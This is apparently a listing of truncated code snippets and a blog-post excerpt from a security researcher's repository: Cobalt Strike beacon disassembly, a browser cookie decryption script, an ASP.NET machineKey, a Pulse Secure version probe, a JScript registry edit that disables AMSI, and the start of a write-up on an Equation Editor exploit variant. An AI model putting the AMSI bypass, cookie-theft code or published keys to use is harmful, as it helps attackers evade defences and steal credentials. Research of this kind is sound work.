rxwx

from ctypes import wintypes
import argparse
import ctypes
import yara
import hexdump

"""
.text:0000000180010840                         ; char __fastcall BeaconDataStoreUnprotectItem(unsigned __int64)
.text:0000000180010840                         BeaconDataStoreUnprotectItem proc near  ; CODE XREF: sub_1800100F8+9E↑p
.text:0000000180010840                                                                 ; sub_1800102E8+AD↑p

rxwx

import io
import sys
import string

KEY_STR = 'ModifiedFwPropertySheetWithOKTheSheetIDS_LDAP_AU_PROPERTIESNULL0FW_WP_OBJECTS'

def get_byte(x):
    c = ord(chr(x).lower())
    if ((c - 0x30) & 255) < 10:
        retval = c - 0x30

rxwx

using System;
using System.IO;
using System.Text;
using System.Diagnostics;
using System.Runtime.InteropServices;
using static GetSxsPath.NativeMethods;

namespace GetSxsPath
{
    internal class NativeMethods

rxwx

import re
import sys

versions = {
    0x00: 'Excel 97',
    0x01: 'Excel 2000',
    0x02: 'Excel 2002',
    0x03: 'Office Excel 2003',
    0x04: 'Office Excel 2007',
    0x06: 'Excel 2010',

rxwx

from Crypto.Cipher import AES
from Crypto.Protocol.KDF import PBKDF2
import sqlite3
import os
import shutil

def clean(x):
    return x[:-ord(x[-1])]

# Make a copy of the cookie file

rxwx

<machineKey validationKey="CB2721ABDAF8E9DC516D621D8B8BF13A2C9E8689A25303BF" decryptionKey="E9D2490BD0075B51D1BA5288514514AF" validation="SHA1" decryption="3DES" />

rxwx

import requests
import sys
import re

HEADERS = {"User-Agent": "Mozilla/5.0 (Macintosh; Intel Mac OS X 10.14; rv:67.0) Gecko/20100101 Firefox/67.0"}

if len(sys.argv) != 2:
    print " Usage: python pulseversion.py <target ip/domain>"
    sys.exit(1)

rxwx

var sh = new ActiveXObject('WScript.Shell');
var key = "HKCU\\Software\\Microsoft\\Windows Script\\Settings\\AmsiEnable";

try{
	var AmsiEnable = sh.RegRead(key);
	if(AmsiEnable!=0){
	throw new Error(1, '');
	}
}catch(e){
	sh.RegWrite(key, 0, "REG_DWORD"); // neuter AMSI

rxwx

<#
.SYNOPSIS
Author: Rich Warren

Based on original c# code by Jon Galloway:

https://weblogs.asp.net/jongalloway/creating-zip-archives-in-net-without-an-external-library-like-sharpziplib

.DESCRIPTION
Tool for creating a Zip file in native Powershell with .NET 3.0 only.

rxwx

New Equation Editor Exploit Variant

On 19/03/18, a large number of RTF samples started triggering one of my "suspicious" RTF rules. Looking at the samples, they all appeared to have around 2-4 detections, which seemed curious. This was confirmed by Mitja Kolsek to be a new variant of CVE-2018-0802, which is already covered by 0patch, and patched by Microsoft in January 2018. However, the technique is not unique to CVE-2018-0802 and can be seen used to exploit CVE-2017-11882 aswell.

• VT: https://www.virustotal.com/#/file/189d2dc825a3b1f00b91d3e0b7678b7fb128e74d831d99487b80cbf5cf805a74/detection
• Anyrun: https://app.any.run/tasks/e3d99cd3-8886-48f1-a8ce-dde0cbbe0889

This was also seen by Shiao Qu. There is a [blog post](https://www.drop